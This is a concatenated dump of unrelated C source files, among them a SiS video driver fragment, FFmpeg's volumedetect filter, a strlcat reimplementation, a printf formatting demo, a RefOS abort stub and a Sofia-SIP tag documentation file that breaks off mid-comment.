SiS_SetReg(SiS_Pr->SiS_Part1Port,i,SiS300_LCDVData[temp][index][j]); } #endif } static unsigned short GetOEMTVPtr(struct SiS_Private *SiS_Pr) { unsigned short index; index = 0; if(!(SiS_Pr->SiS_VBInfo & SetInSlaveMode)) index += 4; if(SiS_Pr->SiS_VBType & VB_SISVB) { if(SiS_Pr->SiS_VBInfo & SetCRT2ToSCART) index += 2; else if(SiS_Pr->SiS_VBInfo & SetCRT2ToHiVision) index += 3; else if(SiS_Pr->SiS_TVMode & TVSetPAL) index += 1; } else { if(SiS_Pr->SiS_TVMode & TVSetCHOverScan) index += 2; if(SiS_Pr->SiS_TVMode & TVSetPAL) index += 1; } return index; } static void SetOEMTVDelay(struct SiS_Private *SiS_Pr, unsigned short ModeNo, unsigned short ModeIdIndex) { unsigned char *ROMAddr = SiS_Pr->VirtualRomBase; unsigned short index,temp,romptr=0; if(SiS_Pr->SiS_UseROM) { if(!(ROMAddr[0x238] & 0x01)) return; if(!(ROMAddr[0x238] & 0x02)) return; romptr = SISGETROMW(0x241); } temp = GetOEMTVPtr(SiS_Pr); index = SiS_Pr->SiS_VBModeIDTable[ModeIdIndex].VB_TVDelayIndex; if(romptr) { romptr += (temp * 2); romptr = SISGETROMW(romptr); romptr += index; temp = ROMAddr[romptr]; } else { if(SiS_Pr->SiS_VBType & VB_SISVB) { temp = SiS300_OEMTVDelay301[temp][index]; } else { temp = SiS300_OEMTVDelayLVDS[temp][index]; } } temp &= 0x3c; SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port,0x13,~0x3C,temp); } static void SetOEMAntiFlicker(struct SiS_Private *SiS_Pr, unsigned short ModeNo, unsigned short ModeIdIndex) { unsigned char *ROMAddr = SiS_Pr->VirtualRomBase; unsigned short index,temp,romptr=0; if(SiS_Pr->SiS_UseROM) { if(!(ROMAddr[0x238] & 0x01)) return; if(!(ROMAddr[0x238] & 0x04)) return; romptr = SISGETROMW(0x243); } temp = GetOEMTVPtr(SiS_Pr); index = SiS_Pr->SiS_VBModeIDTable[ModeIdIndex].VB_TVFlickerIndex; if(romptr) { romptr += (temp * 2); romptr = SISGETROMW(romptr); romptr += index; temp = ROMAddr[romptr]; } else { temp = SiS300_OEMTVFlicker[temp][index]; } temp &= 0x70; SiS_SetRegANDOR(SiS_Pr->SiS_Part2Port,0x0A,0x8F,temp); } static void SetOEMPhaseIncr(struct SiS_Private *SiS_Pr, unsigned short ModeNo,unsigned short ModeIdIndex) { unsigned char *ROMAddr = SiS_Pr->VirtualRomBase; unsigned short index,i,j,temp,romptr=0; if(SiS_Pr->SiS_VBInfo & SetCRT2ToHiVision) return; if(SiS_Pr->SiS_TVMode & (TVSetNTSC1024 | TVSetNTSCJ | TVSetPALM | TVSetPALN)) return; if(SiS_Pr->SiS_UseROM) { if(!(ROMAddr[0x238] & 0x01)) return; if(!(ROMAddr[0x238] & 0x08)) return; romptr = SISGETROMW(0x245); } temp = GetOEMTVPtr(SiS_Pr); index = SiS_Pr->SiS_VBModeIDTable[ModeIdIndex].VB_TVPhaseIndex; if(SiS_Pr->SiS_VBType & VB_SIS30xBLV) { for(i=0x31, j=0; i<=0x34; i++, j++) { SiS_SetReg(SiS_Pr->SiS_Part2Port,i,SiS300_Phase2[temp][index][j]); } } else { if(romptr) { romptr += (temp * 2); romptr = SISGETROMW(romptr); romptr += (index * 4); for(i=0x31, j=0; i<=0x34; i++, j++) { SiS_SetReg(SiS_Pr->SiS_Part2Port,i,ROMAddr[romptr + j]); } } else { for(i=0x31, j=0; i<=0x34; i++, j++) { SiS_SetReg(SiS_Pr->SiS_Part2Port,i,SiS300_Phase1[temp][index][j]); } } } } static void SetOEMYFilter(struct SiS_Private *SiS_Pr, unsigned short ModeNo, unsigned short ModeIdIndex) { unsigned char *ROMAddr = SiS_Pr->VirtualRomBase; unsigned short index,temp,i,j,romptr=0; if(SiS_Pr->SiS_VBInfo & (SetCRT2ToSCART | SetCRT2ToHiVision | SetCRT2ToYPbPr525750)) return; if(SiS_Pr->SiS_UseROM) { if(!(ROMAddr[0x238] & 0x01)) return; if(!(ROMAddr[0x238] & 0x10)) return; romptr = SISGETROMW(0x247); } temp = GetOEMTVPtr(SiS_Pr); if(SiS_Pr->SiS_TVMode & TVSetPALM) temp = 8; else if(SiS_Pr->SiS_TVMode & TVSetPALN) temp = 9; /* NTSCJ uses NTSC filters */ index = SiS_Pr->SiS_VBModeIDTable[ModeIdIndex].VB_TVYFilterIndex; if(SiS_Pr->SiS_VBType & VB_SIS30xBLV) { for(i=0x35, j=0; i<=0x38; i++, j++) { SiS_SetReg(SiS_Pr->SiS_Part2Port,i,SiS300_Filter2[temp][index][j]); } for(i=0x48; i<=0x4A; i++, j++) { SiS_SetReg(SiS_Pr->SiS_Part2Port,i,SiS300_Filter2[temp][index][j]); } } else { if((romptr) && (!(SiS_Pr->SiS_TVMode & (TVSetPALM|TVSetPALN)))) { romptr += (temp * 2); romptr = SISGETROMW(romptr); romptr += (index * 4); for(i=0x35, j=0; i<=0x38; i++, j++) { SiS_SetReg(SiS_Pr->SiS_Part2Port,i,ROMAddr[romptr + j]); } } else { for(i=0x35, j=0; i<=0x38; i++, j++) { SiS_SetReg(SiS_Pr->SiS_Part2Port,i,SiS300_Filter1[temp][index][j]); } } } } static unsigned short SiS_SearchVBModeID(struct SiS_Private *SiS_Pr, unsigned short *ModeNo) { unsigned short ModeIdIndex; unsigned char VGAINFO = SiS_Pr->SiS_VGAINFO; if(*ModeNo <= 5) *ModeNo |= 1; for(ModeIdIndex=0; ; ModeIdIndex++) { if(SiS_Pr->SiS_VBModeIDTable[ModeIdIndex].ModeID == *ModeNo) break; if(SiS_Pr->SiS_VBModeIDTable[ModeIdIndex].ModeID == 0xFF) return 0; } if(*ModeNo != 0x07) { if(*ModeNo > 0x03) return ModeIdIndex; if(VGAINFO & 0x80) return ModeIdIndex; ModeIdIndex++; } if(VGAINFO & 0x10) ModeIdIndex++; /* 400 lines */ /* else 350 lines */ return ModeIdIndex; } static void SiS_OEM300Setting(struct SiS_Private *SiS_Pr, unsigned short ModeNo, unsigned short ModeIdIndex, unsigned short RefTableIndex) { unsigned short OEMModeIdIndex = 0; if(!SiS_Pr->UseCustomMode) { OEMModeIdIndex = SiS_SearchVBModeID(SiS_Pr,&ModeNo); if(!(OEMModeIdIndex)) return; } if(SiS_Pr->SiS_VBInfo & SetCRT2ToLCD) { SetOEMLCDDelay(SiS_Pr, ModeNo, OEMModeIdIndex); if(SiS_Pr->SiS_IF_DEF_LVDS == 1) { SetOEMLCDData(SiS_Pr, ModeNo, OEMModeIdIndex); } } if(SiS_Pr->UseCustomMode) return; if(SiS_Pr->SiS_VBInfo & SetCRT2ToTV) { SetOEMTVDelay(SiS_Pr, ModeNo,OEMModeIdIndex); if(SiS_Pr->SiS_VBType & VB_SISVB) { SetOEMAntiFlicker(SiS_Pr, ModeNo, OEMModeIdIndex); SetOEMPhaseIncr(SiS_Pr, ModeNo, OEMModeIdIndex); SetOEMYFilter(SiS_Pr, ModeNo, OEMModeIdIndex); } } } #endif
803655.c
/* * Copyright (c) 2012 Nicolas George * * This file is part of FFmpeg. * * FFmpeg is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public License * as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * FFmpeg is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with FFmpeg; if not, write to the Free Software Foundation, Inc., * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ #include "libavutil/channel_layout.h" #include "libavutil/avassert.h" #include "audio.h" #include "avfilter.h" #include "internal.h" typedef struct { /** * Number of samples at each PCM value. * histogram[0x8000 + i] is the number of samples at value i. * The extra element is there for symmetry. */ uint64_t histogram[0x10001]; } VolDetectContext; static int query_formats(AVFilterContext *ctx) { static const enum AVSampleFormat sample_fmts[] = { AV_SAMPLE_FMT_S16, AV_SAMPLE_FMT_S16P, AV_SAMPLE_FMT_NONE }; AVFilterFormats *formats; AVFilterChannelLayouts *layouts; int ret; if (!(formats = ff_make_format_list(sample_fmts))) return AVERROR(ENOMEM); layouts = ff_all_channel_counts(); if (!layouts) return AVERROR(ENOMEM); ret = ff_set_common_channel_layouts(ctx, layouts); if (ret < 0) return ret; return ff_set_common_formats(ctx, formats); } static int filter_frame(AVFilterLink *inlink, AVFrame *samples) { AVFilterContext *ctx = inlink->dst; VolDetectContext *vd = ctx->priv; int nb_samples = samples->nb_samples; int nb_channels = av_frame_get_channels(samples); int nb_planes = nb_channels; int plane, i; int16_t *pcm; if (!av_sample_fmt_is_planar(samples->format)) { nb_samples *= nb_channels; nb_planes = 1; } for (plane = 0; plane < nb_planes; plane++) { pcm = (int16_t *)samples->extended_data[plane]; for (i = 0; i < nb_samples; i++) vd->histogram[pcm[i] + 0x8000]++; } return ff_filter_frame(inlink->dst->outputs[0], samples); } #define MAX_DB 91 static inline double logdb(uint64_t v) { double d = v / (double)(0x8000 * 0x8000); if (!v) return MAX_DB; return -log10(d) * 10; } static void print_stats(AVFilterContext *ctx) { VolDetectContext *vd = ctx->priv; int i, max_volume, shift; uint64_t nb_samples = 0, power = 0, nb_samples_shift = 0, sum = 0; uint64_t histdb[MAX_DB + 1] = { 0 }; for (i = 0; i < 0x10000; i++) nb_samples += vd->histogram[i]; av_log(ctx, AV_LOG_INFO, "n_samples: %"PRId64"\n", nb_samples); if (!nb_samples) return; /* If nb_samples > 1<<34, there is a risk of overflow in the multiplication or the sum: shift all histogram values to avoid that. The total number of samples must be recomputed to avoid rounding errors. */ shift = av_log2(nb_samples >> 33); for (i = 0; i < 0x10000; i++) { nb_samples_shift += vd->histogram[i] >> shift; power += (i - 0x8000) * (i - 0x8000) * (vd->histogram[i] >> shift); } if (!nb_samples_shift) return; power = (power + nb_samples_shift / 2) / nb_samples_shift; av_assert0(power <= 0x8000 * 0x8000); av_log(ctx, AV_LOG_INFO, "mean_volume: %.1f dB\n", -logdb(power)); max_volume = 0x8000; while (max_volume > 0 && !vd->histogram[0x8000 + max_volume] && !vd->histogram[0x8000 - max_volume]) max_volume--; av_log(ctx, AV_LOG_INFO, "max_volume: %.1f dB\n", -logdb(max_volume * max_volume)); for (i = 0; i < 0x10000; i++) histdb[(int)logdb((i - 0x8000) * (i - 0x8000))] += vd->histogram[i]; for (i = 0; i <= MAX_DB && !histdb[i]; i++); for (; i <= MAX_DB && sum < nb_samples / 1000; i++) { av_log(ctx, AV_LOG_INFO, "histogram_%ddb: %"PRId64"\n", i, histdb[i]); sum += histdb[i]; } } static av_cold void uninit(AVFilterContext *ctx) { print_stats(ctx); } static const AVFilterPad volumedetect_inputs[] = { { .name = "default", .type = AVMEDIA_TYPE_AUDIO, .filter_frame = filter_frame, }, { NULL } }; static const AVFilterPad volumedetect_outputs[] = { { .name = "default", .type = AVMEDIA_TYPE_AUDIO, }, { NULL } }; AVFilter ff_af_volumedetect = { .name = "volumedetect", .description = NULL_IF_CONFIG_SMALL("Detect audio volume."), .priv_size = sizeof(VolDetectContext), .query_formats = query_formats, .uninit = uninit, .inputs = volumedetect_inputs, .outputs = volumedetect_outputs, };
299526.c
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* ft_strlcat.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: jwinthei <[email protected]> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2018/10/23 12:11:54 by jwinthei #+# #+# */ /* Updated: 2018/11/22 18:34:27 by jwinthei ### ########.fr */ /* */ /* ************************************************************************** */ #include <string.h> size_t ft_strlcat(char *dst, const char *src, size_t n) { size_t i; size_t j; size_t len_dst; size_t len_src; i = 0; j = 0; len_src = 0; while (dst[j]) j++; len_dst = j; while (src[len_src]) len_src++; if (n <= len_dst) return (len_src + n); while (src[i] && j < n - 1) dst[j++] = src[i++]; dst[j] = '\0'; return (len_src + len_dst); }
116689.c
// floats.c -- 一些浮点型修饰符的组合 #include <stdio.h> int main(void) { const double RENT = 3852.99; // const 变量 printf("*%f*\n", RENT); printf("*%e*\n", RENT); printf("*%4.2f*\n", RENT); printf("*%3.1f*\n", RENT); printf("*%10.3f*\n", RENT); printf("*%10.3E*\n", RENT); printf("*%+4.2f*\n", RENT); printf("*%010.2f*\n", RENT); return 0; }
619182.c
/* * Copyright 2014, NICTA * * This software may be distributed and modified according to the terms of * the BSD 2-Clause license. Note that NO WARRANTY is provided. * See "LICENSE_BSD2.txt" for details. * * @TAG(NICTA_BSD) */ #include <stdio.h> #include <autoconf.h> #include <sel4/sel4.h> #define DPRINTF_SERVER_NAME "" #include <refos-util/dprintf.h> void sys_abort(void) { seL4_DebugPrintf("RefOS HALT.\n"); #if defined(SEL4_DEBUG_KERNEL) seL4_DebugHalt(); #endif while (1); /* We don't return after this */ }
982924.c
#ifdef _WIN32 /* * PLEASE NOTE: * * This file is automatically generated by tag_dll.awk. * It contains magic required by Win32 DLLs to initialize * tag_typedef_t variables. * * Do not, repeat, do not edit this file. Edit 'nta_tag.c' instead. * */ #define EXPORT __declspec(dllexport) /* * This file is part of the Sofia-SIP package * * Copyright (C) 2005 Nokia Corporation. * * Contact: Pekka Pessi <[email protected]> * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public License * as published by the Free Software Foundation; either version 2.1 of * the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, but * WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA * 02110-1301 USA * */ /**@CFILE nta_tag.c * @brief Tags for Nokia SIP Transaction API * * @note This file is used to automatically generate * nta_tag_ref.c and nta_tag_dll.c * * @author Pekka Pessi <[email protected]> * * @date Created: Tue Jul 24 22:28:34 2001 ppessi */ #include "config.h" #include <string.h> #include <assert.h> #undef TAG_NAMESPACE #define TAG_NAMESPACE "nta" #define TAG_NAMESPACE "nta" #include "sofia-sip/nta_tag.h" #include <sofia-sip/su_tag_class.h> #include <sofia-sip/sip_tag_class.h> #include <sofia-sip/url_tag_class.h> #include <sofia-sip/sip_protos.h> tag_typedef_t ntatag_any; /**@def NTATAG_MCLASS(x) * * Message class used by NTA. * * The nta can use a custom or extended parser created with * msg_mclass_clone(). * * @par Used with * nua_create(), nua_set_params(), * nta_agent_create(), nta_agent_set_params() * * @par Parameter type * pointer to #msg_mclass_t. * * @par Values * - custom or extended parser created with msg_mclass_clone() * - NULL - use default parser * * @par Default Value * - Value returned by sip_default_mclass() * * @sa NTATAG_SIPFLAGS() */ EXPORT tag_typedef_t ntatag_mclass_ref; tag_typedef_t ntatag_mclass; /**@def NTATAG_BAD_REQ_MASK(x) * * Mask for bad request messages. * * If an incoming request has erroneous headers matching with the mask, nta * automatically returns a 400 Bad Message response to them. * * If mask ~0U (all bits set) is specified, all requests with any bad header * are dropped. By default only the requests with bad headers essential for * request processing or proxying are dropped. * * @par Used with * nua_create(), nua_set_params(), * nta_agent_create(), nta_agent_set_params() * * @par Parameter type * unsigned int * * @par Values * - bitwise or of enum #sip_bad_mask values * * @par Default Value * - <code>sip_mask_response | sip_mask_ua | sip_mask_100rel | </code><br> * <code>sip_mask_events | sip_mask_timer | sip_mask_publish</code> * The following headers are considered essential by default: * - @ref sip_request \"request line\"", @From, @To, @CSeq, @CallID, * @ContentLength, @Via, @ContentType, @ContentDisposition, * @ContentEncoding, @Supported, @Contact, @Require, @RecordRoute, @RAck, * @RSeq, @Event, @Expires, @SubscriptionState, @SessionExpires, * @MinSE, @SIPETag, and @SIPIfMatch. * * @sa enum #sip_bad_mask, NTATAG_BAD_RESP_MASK() */ EXPORT tag_typedef_t ntatag_bad_req_mask_ref; tag_typedef_t ntatag_bad_req_mask; /**@def NTATAG_BAD_RESP_MASK(x) * * Mask for bad response messages. * * If an incoming response has erroneous headers matching with the mask, nta * drops the response message. * * If mask ~0U (all bits set) is specified, all responses with any bad header * are dropped. By default only the responses with bad headers essential for * response processing or proxying are dropped. * * @par Used with * nua_create(), nua_set_params(), * nta_agent_create(), nta_agent_set_params() * * @par Parameter type * unsigned int * * @par Values * - bitwise or of enum #sip_bad_mask values * * @sa enum #sip_bad_mask, NTATAG_BAD_REQ_MASK() * * @par Default Value * - <code>sip_mask_response | sip_mask_ua | sip_mask_100rel | </code><br> * <code>sip_mask_events | sip_mask_timer | sip_mask_publish</code> * The following headers are considered essential by default: * - @ref sip_status \"status line\"", @From, @To, @CSeq, @CallID, * @ContentLength, @Via, @ContentType, @ContentDisposition, * @ContentEncoding, @Supported, @Contact, @Require, @RecordRoute, @RAck, * @RSeq, @Event, @Expires, @SubscriptionState, @SessionExpires, * @MinSE, @SIPETag, and @SIPIfMatch. */ EXPORT tag_typedef_t ntatag_bad_resp_mask_ref; tag_typedef_t ntatag_bad_resp_mask; /**@def NTATAG_DEFAULT_PROXY(x) * * URL for (default) proxy. * * The requests are sent towards the <i>default outbound proxy</i> regardless * the values of request-URI or @Route headers in the request. The URL of * the default proxy is not added to the request in the @Route header or in * the request-URI (against the recommendation of @RFC3261 section 8.1.2). * * The outbound proxy set by NTATAG_DEFAULT_PROXY() is used even if the * dialog had an established route set or registration provided User-Agent * with a @ServiceRoute set. * * @par Used with * nua_create(), nua_set_params(), * nta_agent_create(), nta_agent_set_params(), * nta_outgoing_mcreate(), nta_outgoing_tcreate(), * nta_outgoing_tcancel(), nta_outgoing_prack(), nta_msg_tsend() * * @par Parameter type * Pointer to a url_t structure or a string containg a SIP or SIPS URI * * @par Values * - Valid SIP or SIPS URI */ EXPORT tag_typedef_t ntatag_default_proxy_ref; tag_typedef_t ntatag_default_proxy; /**@def NTATAG_CONTACT(x) * * Contact used by NTA. */ EXPORT tag_typedef_t ntatag_contact_ref; tag_typedef_t ntatag_contact; /** @def NTATAG_TARGET(x) * * Dialog target (contact) used by NTA. */ EXPORT tag_typedef_t ntatag_target_ref; tag_typedef_t ntatag_target; /** @def NTATAG_ALIASES(x) * * Aliases used by NTA. * @deprecated */ EXPORT tag_typedef_t ntatag_aliases_ref; tag_typedef_t ntatag_aliases; /**@def NTATAG_METHOD(x) * * Method name. * * Create a dialogless #nta_leg_t object matching only requests with * the specified method. * * @par Used with * nta_leg_tcreate() * * @par Parameter type * String containing method name. * * @par Values * - A SIP method name (e.g., "SUBSCRIBE"). * * @par Default Value * - None (i.e., all requests methods match with the leg) * */ EXPORT tag_typedef_t ntatag_method_ref; tag_typedef_t ntatag_method; /**@def NTATAG_BRANCH_KEY(x) * * Branch ID to the topmost @Via header. * * The NTA generates a random branch ID for the topmost @Via header by default. * The application can the branch by itself, for intance, if it wants to * create a @RFC2543-era transaction. * * Note that according to @RFC3261 the branch ID must start with "z9hG4bK". * * @par Used with * nta_outgoing_mcreate(), nta_outgoing_tcreate(), * nta_outgoing_tcancel(), nta_outgoing_prack(), nta_msg_tsend() * * @par Parameter type * string * * @par Value * - The "branch" ID to to insert into topmost @Via header of the * request to be sent * * @par Default Value * - A token is generated, either by random when a client transaction is * created or by hashing the headers and contents of the request when * request is sent statelessly * * @sa @RFC3261 section 8.1.1.7 */ EXPORT tag_typedef_t ntatag_branch_key_ref; tag_typedef_t ntatag_branch_key; /**@def NTATAG_ACK_BRANCH(x) * * Branch of the transaction to ACK. * * When creating a ACK transaction, the application should provide the * branch parameter from the original transaction to the stack. The ACK * transaction object then receives all the retransmitted 2XX responses to * the original INVITE transaction. * * @par Used with * nta_outgoing_mcreate(), nta_outgoing_tcreate() * * @par Parameter type * string * * @par Value * - "branch" ID used to store the ACK transaction in the nta hash * table for outgoing client transaction * * @par Default Value * - The INVITE transaction is looked from the hash table using the @CallID, * @CSeq, @From and @To tags and its branch ID is used */ EXPORT tag_typedef_t ntatag_ack_branch_ref; tag_typedef_t ntatag_ack_branch; /**@def NTATAG_COMP(x) * * Compression algorithm. * * Set compression algorithm for request as described in @RFC3486. * * @note This tag is has no effect without a compression plugin. * * @par Used with * nta_outgoing_mcreate(), nta_outgoing_tcreate(), * nta_outgoing_tcancel(), nta_outgoing_prack(), nta_msg_tsend() * * @par * Note that NTATAG_COMP(NULL) can be used with nta_incoming_set_params() * and nta_incoming_treply(), too. It indicates that the response is sent * uncompressed, no matter what the client has in @a comp parameter of @Via * header. * * @par Parameter type * string * * @par Values * - name of the compression algorithm * * @par Default Value * - "sigcomp" * * @sa @RFC3320, @RFC3486, TPTAG_COMPARTMENT(), * NTATAG_SIGCOMP_ALGORITHM(), NTATAG_SIGCOMP_AWARE(), * NTATAG_SIGCOMP_CLOSE(), NTATAG_SIGCOMP_OPTIONS() */ EXPORT tag_typedef_t ntatag_comp_ref; tag_typedef_t ntatag_comp; /**@def NTATAG_MSG(x) * * Pass a SIP message to treply()/tcreate() functions. * * @par Used with * nta_outgoing_tcreate(), nta_incoming_treply() * * @par Parameter type * #msg_t * * @par Values * - A message object which will be completed, serialized and encoded. * Note that the functions modify directly the message. * * @par Default Value * - A new message object is created and populated by the function call. * * @sa msg_copy(), msg_dup(), msg_create(), sip_default_mclass() */ EXPORT tag_typedef_t ntatag_msg_ref; tag_typedef_t ntatag_msg; /**@def NTATAG_TPORT(x) * * Pass a transport object. The transport object is used to send the request * or response message(s). * * @par Used with * nta_outgoing_tcreate(), nta_outgoing_mcreate(), nta_outgoing_tcancel(), * nta_incoming_create(), nta_msg_tsend(), nta_msg_mreply() * * @par Parameter type * - #tport_t * * @par Values * - A pointer to the transport object. Note that a new reference to the transport * is created. * * @par Default Value * - The transport is selected by resolving the outbound URI (specified with * NTATAG_DEFAULT_PROXY(), the topmost @Route URI or Request-URI. */ EXPORT tag_typedef_t ntatag_tport_ref; tag_typedef_t ntatag_tport; /**@def NTATAG_SMIME(x) * * Provide S/MIME context to NTA. * * @todo S/MIME is not implemented. */ EXPORT tag_typedef_t ntatag_smime_ref; tag_typedef_t ntatag_smime; /**@def NTATAG_REMOTE_CSEQ(x) * * Remote CSeq number. * * Specify remote command sequence number for a #nta_leg_t dialog object. If * an request is received matching with the dialog but with @CSeq number * less than the remote sequence number associated with the dialog, a <i>500 * Internal Server Error</i> response is automatically returned to the client. * * @par Used with * nta_leg_tcreate() * * @par Parameter type * - uint32_t * * @par Values * - Remote command sequence number * * @par Default Value * - Initially 0, then determined by the received requests * */ EXPORT tag_typedef_t ntatag_remote_cseq_ref; tag_typedef_t ntatag_remote_cseq; /**@def NTATAG_MAXSIZE(x) * * Maximum size of incoming message. * * If the size of an incoming request message would exceed the * given limit, the stack will automatically respond with <i>413 Request * Entity Too Large</i>. * * @par Used with * nua_create(), nua_set_params(), * nta_agent_create(), nta_agent_set_params() * * @par Parameter type * - #usize_t * * @par Values * - Maximum acceptable size of an incoming request message. * * @par Default Value * - 2097152 (bytes or 2 megabytes) * * @sa msg_maxsize(), NTATAG_UDP_MTU() */ EXPORT tag_typedef_t ntatag_maxsize_ref; tag_typedef_t ntatag_maxsize; /**@def NTATAG_MAX_PROCEEDING(x) * * Maximum size of proceeding queue. * * If the size of the proceedng message queue would exceed the * given limit, the stack will automatically respond with <i>503 * Service Unavailable</i>. * * @par Used with * nua_create(), nua_set_params(), * nta_agent_create(), nta_agent_set_params() * * @par Parameter type * - #usize_t * * @par Values * - Maximum acceptable size of a queue (size_t). * * @NEW_1_12_9 */ EXPORT tag_typedef_t ntatag_max_proceeding_ref; tag_typedef_t ntatag_max_proceeding; /**@def NTATAG_UDP_MTU(x) * * Maximum size of outgoing UDP request. * * The maximum UDP request size is used to control use of UDP with overtly * large messages. The IETF requires that the SIP requests over 1300 bytes * are sent over congestion-controlled transport such as TCP. If a SIP * message size exceeds the UDP MTU, the TCP is tried instead of UDP. (If * the TCP connection is refused, the stack reverts back to UDP). * * @par Used with * nua_create(), nua_set_params(), * nta_agent_create(), nta_agent_set_params() * * @par Parameter type * - unsigned * * @par Values * - Maximum size of an outgoing UDP request * * @par Default Value * - 1300 (bytes) * * @sa @RFC3261 section 18.1.1, NTATAG_MAXSIZE() */ EXPORT tag_typedef_t ntatag_udp_mtu_ref; tag_typedef_t ntatag_udp_mtu; /**@def NTATAG_MAX_FORWARDS(x) * * Default value for @MaxForwards header. * * The default value of @MaxForwards header added to the requests. The * initial value recommended by @RFC3261 is 70, but usually SIP proxies use * much lower default value, such as 24. * * @par Used with * nua_create(), nua_set_params(), * nta_agent_create(), nta_agent_set_params() * * @par Parameter type * unsigned * * @par Values * - Default value added to the @MaxForwards header in the sent requests * * @par Default Value * - 70 (hops) * * @since New in @VERSION_1_12_2. */ EXPORT tag_typedef_t ntatag_max_forwards_ref; tag_typedef_t ntatag_max_forwards; /**@def NTATAG_SIP_T1(x) * * Initial retransmission interval (in milliseconds) * * Set the T1 retransmission interval used by the SIP transaction engine. The * T1 is the initial duration used by request retransmission timers A and E * (UDP) as well as response retransmission timer G. * * @par Used with * nua_create(), nua_set_params(), * nta_agent_create(), nta_agent_set_params() * * @par Parameter type * unsigned int * * @par Values * - Value of SIP T1 in milliseconds * * @par Default Value * - #NTA_SIP_T1 or 500 (milliseconds) * * @sa @RFC3261 appendix A, #NTA_SIP_T1, NTATAG_SIP_T1X4(), NTATAG_SIP_T1(), NTATAG_SIP_T4() */ EXPORT tag_typedef_t ntatag_sip_t1_ref; tag_typedef_t ntatag_sip_t1; /**@def NTATAG_SIP_T1X64(x) * * Transaction timeout (defaults to T1 * 64). * * Set the T1x64 timeout value used by the SIP transaction engine. The T1x64 is * duration used for timers B, F, H, and J (UDP) by the SIP transaction engine. * The timeout value T1x64 can be adjusted separately from the initial * retransmission interval T1, which is set with NTATAG_SIP_T1(). * * The default value for T1x64 is 64 times value of T1, or 32000 milliseconds. * * @par Used with * nua_create(), nua_set_params(), * nta_agent_create(), nta_agent_set_params() * * @par Parameter type * unsigned int * * @par Values * - Value of T1x64 in milliseconds * * @par Default Value * - 64 * #NTA_SIP_T1 or 32000 (milliseconds) * * @sa @RFC3261 appendix A, #NTA_SIP_T1, NTATAG_SIP_T1(), NTATAG_SIP_T2(), NTATAG_SIP_T4() * */ EXPORT tag_typedef_t ntatag_sip_t1x64_ref; tag_typedef_t ntatag_sip_t1x64; /**@def NTATAG_SIP_T2(x) * * Maximum retransmission interval (in milliseconds) * * Set the maximum retransmission interval used by the SIP transaction * engine. The T2 is the maximum duration used for the timers E (UDP) and G * by the SIP transaction engine. Note that the timer A is not capped by T2. * Retransmission interval of INVITE requests grows exponentially until the * timer B fires. * * @par Used with * nua_create(), nua_set_params(), * nta_agent_create(), nta_agent_set_params() * * @par Parameter type * unsigned int * * @par Values * - Value of SIP T2 in milliseconds * * @par Default Value * - #NTA_SIP_T2 or 4000 (milliseconds) * * @sa @RFC3261 appendix A, #NTA_SIP_T2, NTATAG_SIP_T1(), NTATAG_SIP_T1X4(), NTATAG_SIP_T4() */ EXPORT tag_typedef_t ntatag_sip_t2_ref; tag_typedef_t ntatag_sip_t2; /**@def NTATAG_SIP_T4(x) * * Transaction lifetime (in milliseconds) * * Set the lifetime for completed transactions used by the SIP transaction * engine. A completed transaction is kept around for the duration of T4 in * order to catch late responses. The T4 is the maximum duration for the * messages to stay in the network and the duration of SIP timer K. * * @par Used with * nua_create(), nua_set_params(), * nta_agent_create(), nta_agent_set_params() * * @par Parameter type * unsigned int * * @par Values * - Value of SIP T4 in milliseconds * * @par Default Value * - #NTA_SIP_T4 or 4000 (milliseconds) * * @sa @RFC3261 appendix A, #NTA_SIP_T4, NTATAG_SIP_T1(), NTATAG_SIP_T1X4(), NTATAG_SIP_T2() */ EXPORT tag_typedef_t ntatag_sip_t4_ref; tag_typedef_t ntatag_sip_t4; /**@def NTATAG_PROGRESS(x) * * Progress timer for User-Agents (interval for retranmitting 1XXs). * * The UAS should retransmit preliminary responses to the INVITE * transactions every minute in order to re-set the timer C within the * intermediate proxies. * * The default value for the progress timer is 60000. * * @par Used with * nua_create(), nua_set_params(), * nta_agent_create(), nta_agent_set_params() * * @par Parameter type * unsigned int * * @par Values * Value of progress timer in milliseconds. * * @par Default Value * - 90000 (milliseconds, 1.5 minutes) * * @sa @RFC3261 sections 13.3.1.1, 16.7 and 16.8, NTATAG_TIMER_C(), * NTATAG_SIP_T1(), NTATAG_SIP_T1X4(), NTATAG_SIP_T2(), NTATAG_SIP_T4() */ EXPORT tag_typedef_t ntatag_progress_ref; tag_typedef_t ntatag_progress; /**@def NTATAG_TIMER_C(x) * * Value for timer C in milliseconds. * * By default the INVITE transaction will not timeout after a preliminary * response has been received. However, an intermediate proxy can timeout * the transaction using timer C. Timer C is reset every time a response * belonging to the transaction is received. * * The default value for the timer C is 185000 milliseconds (3 minutes and 5 * seconds). By default, timer C is not run on user agents (if NTATAG_UA(1) * without NTATAG_TIMER_C() is given). * * @par Used with * nua_create(), nua_set_params(), * nta_agent_create(), nta_agent_set_params() * * @par Parameter type * unsigned int * * @par Values * Value of SIP timer C in milliseconds. The default value is used * instead if NTATAG_TIMER_C(0) is given. * * @par Default Value * - 185000 (milliseconds, 3 minutes) * * @sa @RFC3261 sections 13.3.1.1, 16.7 and 16.8, * NTATAG_UA(1), NTATAG_TIMER_C(), * NTATAG_SIP_T1(), NTATAG_SIP_T1X4(), NTATAG_SIP_T2(), NTATAG_SIP_T4() * * @NEW_1_12_7. */ EXPORT tag_typedef_t ntatag_timer_c_ref; tag_typedef_t ntatag_timer_c; /**@def NTATAG_GRAYLIST(x) * * Avoid failed servers. * * The NTATAG_GRAYLIST() provides the time that the servers are avoided * after a 